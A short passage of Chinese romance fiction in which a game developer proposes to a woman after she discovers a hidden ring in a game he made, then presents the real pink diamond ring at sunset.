顾蓁音迟疑地移动指尖,在屏幕上轻轻一点,游戏里的首饰盒缓缓打开,出现了一枚粉钻戒指。 “我制作这个游戏的时候,曾经和自己说。” 景驰弯身与她平视,漆黑的瞳仁中漾着细碎的光:“如果你能发现这个彩蛋,那我就顺便求个婚。” “咔哒”一声轻响,墨色丝绒首饰盒打开,和游戏里一模一样的钻戒出现在顾蓁音的眼前。 淡彩粉的粉钻镶嵌在戒圈上,幽暗的光线镀在光洁圆润的戒圈边缘,由明转暗,泛起一丝微光。 顾蓁音坐在沙发上,下意识屏住呼吸,心脏在此刻不知所措地“扑通扑通”乱跳。 天际的落日下沉,暮色四起,天空呈现高浓度的克莱因蓝,世界陷入静谧的蓝调时刻,最后一丝绯红夕阳斜射照入休息室的落地窗内,染红景驰冷白的耳尖。 “顾蓁音,要不要嫁给我?”